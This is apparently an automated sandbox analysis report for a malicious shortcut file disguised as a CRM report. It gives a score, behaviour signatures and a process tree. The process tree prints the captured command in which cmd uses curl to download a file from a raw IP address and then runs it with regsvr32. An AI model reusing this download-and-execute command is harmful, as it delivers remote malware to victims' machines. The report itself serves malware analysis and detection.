Analysis

  • max time kernel
    43s
  • max time network
    47s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    28/06/2022, 17:44

General

  • Target
    CrmReport_267729/CrmReport_267729.lnk
  • Size 2KB
  • Sample220628-wbfpcabccj
  • SHA256 ca0aac3f0e8d7e6d9e3e25dc91078d4e955f523fc166f976e209aad45542edb0
  • MD5 SHA1 SHA512
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\CrmReport_267729\CrmReport_267729.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl -s -o C:\Users\Admin\AppData\Local\Temp\moreHe.rtf http://146.70.79.52/whenYouGive.dat&&C:\Windows\system32\regsvr32 C:\Users\Admin\AppData\Local\Temp\moreHe.rtf
      2⤵
        PID:1520

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/1960-54-0x000007FEFBEB1000-0x000007FEFBEB3000-memory.dmp